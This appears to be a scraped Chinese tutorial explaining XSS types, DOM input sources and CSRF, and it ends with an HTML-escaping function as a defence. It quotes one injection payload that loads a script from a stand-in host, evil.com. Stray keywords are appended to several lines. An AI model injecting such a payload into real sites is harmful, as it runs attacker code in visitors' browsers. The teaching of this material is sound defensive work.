前端黑客之XSS、CSRF

XSS:跨站腳本,發生在目標網站中目標用戶的瀏覽器層面上,當用戶瀏覽器渲染整個HTML文檔的過程當中出現了不被預期的腳本指令並執行時,XSS就會發生。 
絕大多數XSS攻擊都會採用嵌入一段遠程或者第三方域上的腳本資源。任何安全問題都有「輸入」的概念,不少時候輸入的內容長度是有限制的。真正的XSS攻擊彈出窗無心義。通常會注入相似<script src="http://www.evil.com/xxs.js"></script>html

XXS類型 
反射型XSS(非持久性XSS)、存儲型XSS(持久型XSS)、DOM XSS數據庫

反射型XSS 
發出請求時,XSS代碼在URL中,做爲輸入提交到服務器端,服務端解析後響應,在響應內容中出現這段XSS代碼,最後瀏覽器解析執行。這個過程就像一次反射。 
存儲型XSS 
提交的XSS代碼會存儲在服務端,最典型的例子是留言板XSS,用戶提交一條包含XSS代碼的留言存儲到數據庫,用戶查看留言板時,那些留言內容會從數據庫查詢出來並顯示,瀏覽器發現有XSS代碼,就當作正常的HTML與JS解析執行,因而觸發了XSS攻擊。 
DOM XSS 
DOM XSS的XSS代碼不須要服務器解析響應的直接參與,觸發XSS靠的是瀏覽器端的DOM解析。 
常見的輸入點:瀏覽器

document.URL document.URLUnencoded document.location document.referrer window.location window.name document.cookie document.write document.body.innerHTML document.forms[0].action document.attachEvent document.create document.body window.attachEvent document.location document.location.hostname document.location.replace document.location.assign document.URL window.navigate window.open window.location.href

CSRF:跨站請求僞造 
跨站請求僞造是其餘站點的,對於XSS來講,發起的任何攻擊請求其實是目標網站同域內發出的。 
CSRF類型:HTML CSRF攻擊、JSON HiJacking攻擊、Flash CSRF攻擊安全

xss攻擊:跨站腳本攻擊(Cross Site Scripting),爲不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫爲XSS。惡意攻擊者往Web頁面裏插入惡意Script代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的Script代碼會被執行,從而達到惡意攻擊用戶的特殊目的。(解釋摘自百度百科)服務器

一、將能被轉換爲html的輸入內容,在寫代碼時改成innerText而不用innerHTMLcookie

二、實在沒有辦法的狀況下可用以下方法(js代碼)xss

function safeStr(str){
return str.replace(/</g,'&lt;').replace(/>/g,'&gt;').replace(/"/g, "&quot;").replace(/'/g, "&#039;");
}網站

將含有<>等符號轉化爲其餘字符簡單方便spa

相關文章
相關標籤/搜索